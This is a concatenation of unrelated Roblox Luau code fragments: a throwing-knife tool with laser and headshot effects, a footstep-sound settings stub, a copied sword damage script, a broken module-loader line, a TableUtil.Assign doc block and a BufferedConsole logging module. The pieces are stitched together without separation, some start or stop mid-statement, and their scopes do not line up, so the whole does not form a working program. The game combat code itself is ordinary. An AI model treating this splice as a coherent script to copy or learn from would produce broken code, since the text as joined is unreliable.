PlaySound(name,ctorso) if name=="Throw" then tool.Handle.Sound.SoundId = "rbxassetid://" .. SOUNDS.throwing[math.random(1,#SOUNDS.throwing)] tool.Handle.Sound:Play() elseif name=="ThrowLaser" then tool.Handle.Sound.SoundId = "rbxassetid://" .. SOUNDS.laserthrowing[math.random(1,#SOUNDS.laserthrowing)] tool.Handle.Sound:Play() elseif name=="Equip" then tool.Handle.Sound.SoundId = "rbxassetid://" .. SOUNDS.equip tool.Handle.Sound:Play() elseif name=="Swing" then tool.Handle.Sound.SoundId = "rbxassetid://" .. SOUNDS.striking[math.random(1,#SOUNDS.striking)] tool.Handle.Sound:Play() elseif name=="Hit1" then local NewSound=tool.Handle.Sound:clone() NewSound.Parent=ctorso NewSound.SoundId = "rbxassetid://" .. SOUNDS.hitplayer[math.random(1,#SOUNDS.hitplayer)] NewSound:Play() NewSound:Destroy() elseif name=="Hit2" then local NewSound=tool.Handle.Sound:clone() NewSound.Parent=ctorso NewSound.SoundId = "rbxassetid://" .. SOUNDS.deaths[math.random(1,#SOUNDS.deaths)] NewSound:Play() NewSound:Destroy() elseif name=="Laser" then local NewSound=tool.Handle.Sound NewSound.SoundId = "rbxassetid://" .. SOUNDS.shouts[math.random(1,#SOUNDS.shouts)] NewSound:Play() end end function Throwtool(dPos) if not tool.Handle then return end local throwingHandle = tool.Handle:Clone() game:GetService("Debris"):AddItem(throwingHandle, 5) throwingHandle.Transparency=0 throwingHandle.Parent = workspace if player.Character and player.Character.Humanoid then throwingHandle.Velocity = (player.Character.Humanoid.TargetPoint - throwingHandle.CFrame.p).unit * 150 if canLaser then throwingHandle.Velocity = (player.Character.Humanoid.TargetPoint - throwingHandle.CFrame.p).unit * 9999 end if mouse.Target ~= nil then if mouse.Target.Parent.Name~="Arms_Model" and mouse.Target.Name~="ThrownKnife" and mouse.Target.Name~="Handle" then targetpos=player.Character.Humanoid.TargetPoint else targetpos=Vector3.new(0,-10 ,0) end end -- set the orientation to the direction it is being thrown in throwingHandle.CFrame = CFrame.new(throwingHandle.CFrame.p, throwingHandle.CFrame.p + throwingHandle.Velocity) * CFrame.Angles(0, 0, math.rad(-90)) local floatingForce = Instance.new('BodyForce', throwingHandle) floatingForce.force = Vector3.new(0, 196.2 * throwingHandle:GetMass() * 0.98, 0) local spin = Instance.new('BodyAngularVelocity', throwingHandle) spin.angularvelocity = throwingHandle.CFrame:vectorToWorldSpace(Vector3.new(0, -400, 0)) spawnPos=player.Character.PrimaryPart.Position spawnPos = spawnPos + dPos*5 if canLaser then local Ray = Ray.new(tool.Handle.CFrame.p,(mouse.Hit.p - tool.Handle.CFrame.p).unit * 999) local Hit,Position = game.Workspace:FindPartOnRay(Ray,char) if Hit then if Hit.Parent:FindFirstChild("Humanoid") then Hit.Parent.Humanoid:TakeDamage(110) laserCharge=true end end local RayPart = Instance.new("Part",workspace) RayPart.Name = "RayPart" RayPart.BrickColor = BrickColor.new("Bright red") RayPart.Transparency = 0 RayPart.Anchored = true RayPart.CanCollide = false RayPart.TopSurface = Enum.SurfaceType.Smooth RayPart.BottomSurface = Enum.SurfaceType.Smooth RayPart.formFactor = Enum.FormFactor.Custom local Distance = (Position-tool.Handle.CFrame.p).magnitude RayPart.Size = Vector3.new(0.2,0.2,Distance) RayPart.CFrame = CFrame.new(Position,tool.Handle.CFrame.p) * CFrame.new(0,0,-Distance/2) game.Debris:addItem(RayPart,.5) PlaySound("Laser") end end if throwingHandle then local touchedConn = throwingHandle.Touched:connect(function(hit) local char=hit.Parent camera.CameraSubject=humanoid camera.CameraType=Enum.CameraType.Custom if char and char~=player.Character and char.Name~="Arms_Model" and hit.Name~="Handle" and hit.Name~="RayPart" then local h=char:FindFirstChild("Humanoid") if h and h.Health > 0 then throwingHandle:Destroy() laserCharge=true if hit.Name~="Head" or hit.className=="Hat" then h:TakeDamage(Damage) PlaySound("Hit1",char.Torso) if h.Health == 0 then PlaySound("Hit2",char.Torso) end else h:TakeDamage(Damage * 2) print("Headshot!") char.Head.Transparency=1 char.Head.CanCollide=false if char.Head:FindFirstChild("face") then char.Head:FindFirstChild("face").Transparency=1 end for _,v in pairs(char:GetChildren()) do if v.className=="Hat" then v:Destroy() end end for i = 1, 7 do local blood=Instance.new("Part") blood.FormFactor="Custom" blood.Size=Vector3.new(1,.2,1) blood.BrickColor=BrickColor.Red() blood.TopSurface=0 blood.BottomSurface=0 game:GetService("Debris"):AddItem(blood,5) blood.Parent=workspace blood.Position=char.Head.Position + Vector3.new(math.random(0.2,0.8),0,math.random(0.2,0.8)) end local sound = Instance.new("Sound") sound.SoundId = "rbxassetid://142347633" sound.Parent=char.Head sound.Pitch=1.1 sound:Play() end PlaySound("Hit1") if h.Health == 0 then PlaySound("Hit2") end elseif hit.Name~="Handle" or hit.Name~="IgnoreThrowingKnives" and hit.Parent.Name~="Arms_Model" and hit.Name~="RayPart" and hit.CanCollide==true then local sound=Instance.new("Sound") sound.Parent=hit sound.SoundId = "rbxassetid://" .. SOUNDS.wallhit[math.random(1,#SOUNDS.wallhit)] sound:Play() sound:Destroy() print("Hit Object: " .. hit.Name) local newknife=tool.Handle:clone() newknife.Name="ThrownKnife" newknife.CFrame = CFrame.new(spawnPos, spawnPos + dPos) * CFrame.Angles(math.pi/-2, 0, 0) newknife.Position = targetpos throwingHandle:Destroy() newknife.Anchored=true newknife.CanCollide=true newknife.Transparency=0 newknife.Parent=workspace wait(7) for i=1,10 do newknife.Transparency=i*.1 wait() end newknife:Destroy() end end end) end end -- must check if it still exists since we waited if throwingHandle then throwingHandle.CanCollide = true end FUNCTIONS={ CHECKFORFIRSTPERSON=function() if (camera.focus.p - camera.CoordinateFrame.p).magnitude > 1 then return false else return true end end, ANIMS=function(state) if state then mouse.Icon="http://www.roblox.com/asset/?id=54019936" --Start Animation local mesh=Instance.new("FileMesh") mesh.MeshId=SETTINGS.tool.mesh_id mesh.TextureId=SETTINGS.tool.texture_id mesh.Scale=Vector3.new(SETTINGS.tool.mesh_scale,SETTINGS.tool.mesh_scale,SETTINGS.tool.mesh_scale) mesh.Parent=tool.Handle if SETTINGS.tool.mesh_scale==.1 then tool.GripPos = Vector3.new(0, -0.55, 0) elseif SETTINGS.tool.mesh_scale==.2 then tool.GripPos = Vector3.new(0, -0.6, 0) elseif SETTINGS.tool.mesh_scale==.3 then tool.GripPos = Vector3.new(0, -0.65, 0) elseif SETTINGS.tool.mesh_scale==.4 then tool.GripPos = Vector3.new(0, -0.7, 0) elseif SETTINGS.tool.mesh_scale==.5 then tool.GripPos = Vector3.new(0, -0.75, 0) elseif SETTINGS.tool.mesh_scale==.6 then tool.GripPos = Vector3.new(0, -0.8, 0) elseif SETTINGS.tool.mesh_scale==.7 then tool.GripPos = Vector3.new(0, -0.85, 0) elseif SETTINGS.tool.mesh_scale==.8 then tool.GripPos = Vector3.new(0, -0.9, 0) elseif SETTINGS.tool.mesh_scale==.9 then tool.GripPos = Vector3.new(0, -0.95, 0) elseif SETTINGS.tool.mesh_scale==1 then tool.GripPos = Vector3.new(0, -1, 0) else print("Invalid tool size! Set to default: " .. SETTINGS.tool.default_tool_size ) mesh.Scale=Vector3.new(SETTINGS.tool.default_tool_size,SETTINGS.tool.default_tool_size,SETTINGS.tool.default_tool_size) if SETTINGS.tool.default_tool_size==.1 then tool.GripPos = Vector3.new(0, -0.55, 0) elseif SETTINGS.tool.default_tool_size==.2 then tool.GripPos = Vector3.new(0, -0.6, 0) elseif SETTINGS.tool.default_tool_size==.3 then tool.GripPos = Vector3.new(0, -0.65, 0) elseif SETTINGS.tool.default_tool_size==.4 then tool.GripPos = Vector3.new(0, -0.7, 0) elseif SETTINGS.tool.default_tool_size==.5 then tool.GripPos = Vector3.new(0, -0.75, 0) elseif SETTINGS.tool.default_tool_size==.6 then tool.GripPos = Vector3.new(0, -0.8, 0) elseif SETTINGS.tool.default_tool_size==.7 then tool.GripPos = Vector3.new(0, -0.85, 0) elseif SETTINGS.tool.default_tool_size==.8 then tool.GripPos = Vector3.new(0, -0.9, 0) elseif SETTINGS.tool.default_tool_size==.9 then tool.GripPos = Vector3.new(0, -0.95, 0) elseif SETTINGS.tool.default_tool_size==1 then tool.GripPos = Vector3.new(0, -1, 0) else print("Invalid default size! Un-equipping and removing Knife...") if humanoid then humanoid:Unequiptools() tool:Destroy() end end end torso=char:FindFirstChild("Torso") leftarm=torso:FindFirstChild("Left Shoulder") if leftarm then leftarm.Parent=nil newarmweld=Instance.new("Weld") newarmweld.Name="LeftWeld" newarmweld.Part0=torso newarmweld.C0 = CFrame.new(-1.5, 0.7, 0) newarmweld.C1 = CFrame.new(0, 0.7, 0) newarmweld.Part1=char:FindFirstChild("Left Arm") newarmweld.Parent=torso end humanoid.WalkSpeed=WalkSpeeds[2] for i = 1, 15, 3 do if equipped then torso:FindFirstChild("Right Shoulder").C1 = rightC1 * CFrame.Angles((-i * (math.pi / 90)),(-i * (math.pi / 90)),(i * (math.pi / 210))) torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, .7, 0) * CFrame.Angles((-i * (math.pi / 60)),(i * (math.pi / 90)),(-i * (math.pi / 240))) end wait() end else humanoid.WalkSpeed=WalkSpeeds[1] torso:FindFirstChild("Right Shoulder").C1 = rightC1 * CFrame.new(0,-0.2,0) tool.GripForward = Vector3.new(0,0,-1) newarmweld:Destroy() leftarm.Parent=torso mouse.Icon="" torso:FindFirstChild("Neck").C0 = CFrame.new(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0) torso:FindFirstChild("Right Shoulder").C0 = CFrame.new(1, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0) end end } tool.Equipped:connect(function () equipped=true PlaySound("Equip") FUNCTIONS.ANIMS(true) end) tool.Unequipped:connect(function () equipped=false FUNCTIONS.ANIMS(false) end) tool.Handle.Touched:connect(function (hit) if Attacking then DamageObject(hit) end end) tool.Activated:connect(function () if Attacking then return end if not tool.Enabled then return end justthrown=false justattacked=false if not gettingknife and not justthrown and not Attacking then HeldTime=time() end playcharge=true wait(.15) while gettingknife do wait() end local speed=1 for i = 1, 15, speed do if playcharge and equipped and not gettingknife and not justthrown and not Attacking then torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.5, 0.5, 0, 0.195277825, -0.747909963, 0.634426773, 0.482016951, 0.636551082, 0.602048457, -0.854123056, 0.188237742, 0.484809577) * CFrame.Angles((i * (math.pi / 50)), 0, (-i * (math.pi / 25))) torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, .7, 0, 0.858912528, 0.165011853, 0.484809607, -0.464581847, 0.649385393, 0.602048457, -0.215483144, -0.742340684, 0.634426773) * CFrame.Angles((-i * (math.pi / 75)),(i * (math.pi / 180)),0) player.Character["Right Arm"].RightGrip.C1 = CFrame.new(0, -0.800000012, 0.05, 1, 0, 0, 0, 1, 0, 0, 0, 1) * CFrame.Angles((-i * (math.pi / 150)),0,0) wait() end end if playcharge then canLaser=true end end) tool.Deactivated:connect(function () if not tool.Enabled then return end currTime=time() playcharge=false if HeldTime and currTime - HeldTime > 0.2 and currTime - HeldTime > 0.01 and not justthrown and not gettingknife then if not Attacking and not justattacked then print("Throw") if canLaser then PlaySound("ThrowLaser") else PlaySound("Throw") end tool.Handle.Transparency=1 local targetPos = player.Character.Humanoid.TargetPoint local lookAt = (targetPos - player.Character.PrimaryPart.Position).unit local switchEvenOddParity = 1 local angle = math.ceil((1-1)/2)*math.pi/12*switchEvenOddParity Throwtool(CFrame.Angles(0, angle, 0) * lookAt) wait() canLaser=false HeldTime=0 gettingknife=true mouse.Icon="http://www.roblox.com/asset/?id=54020165" player.Character["Right Arm"].RightGrip.C1 = CFrame.new(0, -0.800000012, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1) for i = 1, 15, .8 do if equipped then torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.5, 0.5, 0, 0.0719629526, 0.22870943, 0.970831275, -0.981789052, 0.187819958, 0.0285283029, -0.175816804, -0.955204487, 0.238060504) * CFrame.Angles(0, 0, (i * (math.pi / 15))) torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, 0.7, 0, 0.703028679, -0.151466534, 0.694844246, -0.673604906, 0.171488613, 0.718921423, -0.228050426, -0.973472893, 0.0185328126) * CFrame.Angles((i * (math.pi / 60)),(-i * (math.pi / 180)),(i * (math.pi / 60))) wait() end end justthrown=true tool.Handle.Transparency=0 PlaySound("Equip") mouse.Icon="http://www.roblox.com/asset/?id=54019936" tool.GripForward = Vector3.new(0,0,-1) for i = 1, 15, 1 do if equipped then torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.5, 0.5, 0, -0.071962975, -0.22870943, 0.970831275, 0.981789052, -0.187820047, 0.0285283029, 0.175816894, 0.955204487, 0.238060504) * CFrame.Angles(0, 0, (-i * (math.pi / 30))) wait() end end gettingknife=false for i = 1, 15, 3 do if equipped then torso:FindFirstChild("Right Shoulder").C1 = rightC1 * CFrame.Angles((-i * (math.pi / 90)),(-i * (math.pi / 90)),(i * (math.pi / 210))) torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, .7, 0) * CFrame.Angles((-i * (math.pi / 60)),(i * (math.pi / 90)),(-i * (math.pi / 240))) end wait() end end else if not justthrown and not gettingknife then if Attacking then return end print("Attack") HeldTime=0 Attacking=true justattacked=true if math.random(1,2)==1 then for i = 1, 15, 3 do if equipped and not gettingknife and not justthrown then torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.5, 0.5, 0, 0.195277825, -0.747909963, 0.634426773, 0.482016951, 0.636551082, 0.602048457, -0.854123056, 0.188237742, 0.484809577) * CFrame.Angles((i * (math.pi / 65)), 0, (-i * (math.pi / 30))) torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, .7, 0, 0.858912528, 0.165011853, 0.484809607, -0.464581847, 0.649385393, 0.602048457, -0.215483144, -0.742340684, 0.634426773) * CFrame.Angles((-i * (math.pi / 75)),(i * (math.pi / 180)),0) wait() end end PlaySound("Swing") for i = 1, 15, 3 do if equipped and not gettingknife and not justthrown then torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.5, 0.5, 0, 0.0719629526, 0.22870943, 0.970831275, -0.981789052, 0.187819958, 0.0285283029, -0.175816804, -0.955204487, 0.238060504) * CFrame.Angles(0, 0, (i * (math.pi / 15))) torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, 0.7, 0, 0.703028679, -0.151466534, 0.694844246, -0.673604906, 0.171488613, 0.718921423, -0.228050426, -0.973472893, 0.0185328126) * CFrame.Angles((i * (math.pi / 60)),(-i * (math.pi / 180)),(i * (math.pi / 60))) wait() end end for i = 1, 15, 3 do if equipped and not justthrown and not gettingknife then torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.5, 0.5, 0, -0.071962975, -0.22870943, 0.970831275, 0.981789052, -0.187820047, 0.0285283029, 0.175816894, 0.955204487, 0.238060504) * CFrame.Angles(0, 0, (-i * (math.pi / 30))) wait() end end for i = 1, 15, 3 do equipping=true if equipped and not gettingknife and not justthrown then torso:FindFirstChild("Right Shoulder").C1 = rightC1 * CFrame.Angles((-i * (math.pi / 90)),(-i * (math.pi / 90)),(i * (math.pi / 210))) torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, .7, 0) * CFrame.Angles((-i * (math.pi / 60)),(i * (math.pi / 90)),(-i * (math.pi / 240))) end wait() end Attacking=false else for i = 1, 15, 3 do if equipped and not gettingknife and not justthrown then torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.3, 0.5, 0, 0.195277825, -0.747909963, 0.634426773, 0.482016951, 0.636551082, 0.602048457, -0.854123056, 0.188237742, 0.484809577) * CFrame.Angles((i * (math.pi / 40)),(-i * (math.pi / 45)),(i * (math.pi / 60))) end wait() end PlaySound("Swing") for i = 1, 15, 3 do if equipped and not gettingknife and not justthrown then torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.2, 0.5, -.3, 0.852928281, -0.428775758, 0.29776603, 0.516928136, 0.614185035, -0.596290231, 0.0727913082, 0.662516415, 0.745502114) * CFrame.Angles((-i * (math.pi / 45)),0,0) torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.200000003, 0.7, 0, 0.849384904, 0.16895318, 0.5, -0.48470962, 0.624545038, 0.612372398, -0.208810255, -0.762494743, 0.612372398) * CFrame.Angles((i * (math.pi / 60)),(-i * (math.pi / 180)),(i * (math.pi / 60))) end wait() end for i = 1, 15, 3 do if equipped and not gettingknife and not justthrown then torso:FindFirstChild("Right Shoulder").C1 = CFrame.new(-0.3, 0.5, -0.300000012, 0.852928281, -0.472260833, -0.222447708, 0.516928136, 0.82349503, 0.233754784, 0.0727913082, -0.314365625, 0.946507096) * CFrame.Angles((i * (math.pi / 45)),0,0) end wait() end for i = 1, 15, 3 do if equipped and not gettingknife and not justthrown then torso:FindFirstChild("Right Shoulder").C1 = rightC1 * CFrame.Angles((-i * (math.pi / 90)),(-i * (math.pi / 90)),(i * (math.pi / 210))) torso:FindFirstChild("LeftWeld").C1 = CFrame.new(-0.2, .7, 0) * CFrame.Angles((-i * (math.pi / 60)),(i * (math.pi / 90)),(-i * (math.pi / 240))) end wait() end Attacking=false end end end end) mouse.Move:connect(function () if equipped and mouse then if (mouse.Hit.p - mouse.Origin.p).unit.y < 0.25 and (mouse.Hit.p - mouse.Origin.p).unit.y > -0.25 then torso:FindFirstChild("Right Shoulder").C0 = CFrame.new(.9,.5,0) * CFrame.Angles(0,math.rad(90),0) * CFrame.Angles(0, 0, math.asin((mouse.Hit.p - mouse.Origin.p).unit.y)) torso:FindFirstChild("LeftWeld").C0 = CFrame.new(-1.5,0.5,0) * CFrame.Angles(0, 0, math.asin((mouse.Hit.p - mouse.Origin.p).unit.y)) torso:FindFirstChild("Neck").C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(-90),0,math.rad(180)) * CFrame.Angles(math.asin(-(mouse.Hit.p - mouse.Origin.p).unit.y), 0, 0) end end end)
------[SETTINGS]------
local DefaultSound = "Grass" -- The sound that will set as default if FloorMaterial is nil (cannot be found) local ToggleAirSound = false -- Whether or not an air sound will sound when in the air
-- Copied from Grimgold Periastron Beta
local Tool = script.Parent local Sword = Tool.Handle local vCharacter local myTorso local myHumanoid local equipped = false local debris = game:GetService("Debris") function tagHumanoid(humanoid, player) if humanoid then local creatorTag = Instance.new("ObjectValue") creatorTag.Value = player creatorTag.Name = "creator" creatorTag.Parent = humanoid debris:AddItem(creatorTag, 1) end end function cut(hit) local humanoid local vPlayer if hit and hit.Parent and myHumanoid then if hit.Parent.className == "Hat" then humanoid = hit.Parent.Parent:FindFirstChild("Humanoid") else humanoid = hit.Parent:FindFirstChild("Humanoid") end vPlayer = game.Players:GetPlayerFromCharacter(vCharacter) if humanoid ~= nil and humanoid ~= myHumanoid then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(7.5) end end end function onEquipped() vCharacter = Tool.Parent myTorso = vCharacter:FindFirstChild("Torso") myHumanoid = vCharacter:FindFirstChild("Humanoid") end Tool.Equipped:connect(onEquipped) Sword.Touched:connect(cut)
-- print("Going Depth to Folder")
arraySoFar[obj.Name] = loadModules(obj, {}) elseif (obj:IsA("ModuleScript")) then
--[=[ @within TableUtil @function Assign @param target table @param ... table @return table Copies all values of the given tables into the `target` table. ```lua local t = {A = 10} local t2 = {B = 20} local t3 = {C = 30, D = 40} local newT = TableUtil.Assign(t, t2, t3) print(newT) --> {A = 10, B = 20, C = 30, D = 40} ``` ]=]
local function Assign<T>(target: { T }, ...: { any }): { T } & { any } local tbl = table.clone(target) for _, src in { ... } do for k, v in src do tbl[k] = v end end return tbl end
-- ROBLOX FIXME LUAU: Casting to any to prevent unwanted type narrowing for write method
local BufferedConsole = setmetatable({}, { __index = Console }) :: any BufferedConsole.__index = BufferedConsole function BufferedConsole.new(): BufferedConsole local self = setmetatable( Console.new({ write = function(self, message) BufferedConsole.write(((self :: any) :: BufferedConsolePrivate)._buffer, "log", message, nil) return true end, } :: Writeable), BufferedConsole ) :: any self._buffer = {} self._counters = {} self._timers = {} self._groupDepth = 0 self.Console = Console return self :: BufferedConsole end function BufferedConsole.write(buffer: ConsoleBuffer, type: LogType, message: LogMessage, level: (number | nil)?) local stackLevel = if level ~= nil then level else 2 local rawStack = ErrorWithStack.new(nil, BufferedConsole.write).stack invariant(rawStack, "always have a stack trace") local origin = Array.join( Array.filter(Array.slice(String.split(rawStack :: string, "\n"), stackLevel), Boolean.toJSBoolean), "\n" ) table.insert(buffer, { message = message, origin = origin, type = type }) return buffer end function BufferedConsole:_log(type: LogType, message: LogMessage) BufferedConsole.write(self._buffer, type :: any, (" "):rep(self._groupDepth) .. message, 3) end function BufferedConsole.assert(self: BufferedConsolePrivate, value: unknown, message: (string | Error)?) xpcall(function() assert(value) end, function(error_) local msg = "" if message ~= nil then msg = " " .. tostring(message) end self:_log("assert", tostring(error_) .. msg) end) end function BufferedConsole.count(self: BufferedConsolePrivate, label_: string?) local label: string = if label_ ~= nil then label_ else "default" if self._counters[label] == nil then self._counters[label] = 0 end self._counters[label] += 1 self:_log("count", format("%s: %s", label, self._counters[label])) end function BufferedConsole.countReset(self: BufferedConsolePrivate, label_: string?) local label: string = if label_ ~= nil then label_ else "default" self._counters[label] = 0 end function BufferedConsole.debug(self: BufferedConsolePrivate, firstArg: unknown, ...: any) self:_log("debug", format(firstArg, ...)) end function BufferedConsole.dir(self: BufferedConsolePrivate, firstArg: unknown, options_: InspectOptions?) local options: InspectOptions = options_ or {} local representation = inspect(firstArg, options) self:_log("dir", formatWithOptions(options, representation)) end function BufferedConsole.dirxml(self: BufferedConsolePrivate, firstArg: unknown, ...: any) self:_log("dirxml", format(firstArg, ...)) end function BufferedConsole.error(self: BufferedConsolePrivate, firstArg: unknown, ...: any) self:_log("error", format(firstArg, ...)) end function BufferedConsole.group(self: BufferedConsolePrivate, title: string?, ...: any) local rest = { ... } self._groupDepth += 1 if Boolean.toJSBoolean(title) or #rest > 0 then self:_log("group", chalk.bold(format(title, ...))) end end function BufferedConsole.groupCollapsed(self: BufferedConsolePrivate, title: string?, ...: any) local rest = { ... } self._groupDepth += 1 if Boolean.toJSBoolean(title) or #rest > 0 then self:_log("groupCollapsed", chalk.bold(format(title, ...))) end end function BufferedConsole.groupEnd(self: BufferedConsolePrivate) if self._groupDepth > 0 then self._groupDepth -= 1 end end function BufferedConsole.info(self: BufferedConsolePrivate, firstArg: unknown, ...: any) self:_log("info", format(firstArg, ...)) end function BufferedConsole.log(self: BufferedConsolePrivate, firstArg: unknown, ...: any) self:_log("log", format(firstArg, ...)) end function BufferedConsole.time(self: BufferedConsolePrivate, label_: string?) local label: string = if label_ ~= nil then label_ else "default" if Boolean.toJSBoolean(self._timers[label]) then return end self._timers[label] = DateTime.now() end function BufferedConsole.timeEnd(self: BufferedConsolePrivate, label_: string?) local label: string = if label_ ~= nil then label_ else "default" local startTime = self._timers[label] if Boolean.toJSBoolean(startTime) then local endTime = DateTime.now() local time = endTime.UnixTimestampMillis - startTime.UnixTimestampMillis self:_log("time", format("%s: %s", label, formatTime(time))) self._timers[label] = nil end end function BufferedConsole.timeLog(self: BufferedConsolePrivate, label_: string?, ...: any) local label: string = if label_ ~= nil then label_ else "default" local startTime = self._timers[label] if Boolean.toJSBoolean(startTime) then local endTime = DateTime.now() local time = endTime.UnixTimestampMillis - startTime.UnixTimestampMillis self:_log("time", format("%s: %s", label, formatTime(time), ...)) end end function BufferedConsole.warn(self: BufferedConsolePrivate, firstArg: unknown, ...: any) self:_log("warn", format(firstArg, ...)) end function BufferedConsole.getBuffer(self: BufferedConsolePrivate): ConsoleBuffer? return if #self._buffer > 0 then self._buffer else nil end function invariant(condition: unknown, message: string?) if not Boolean.toJSBoolean(condition) then error(Error.new(message)) end end exports.default = BufferedConsole return exports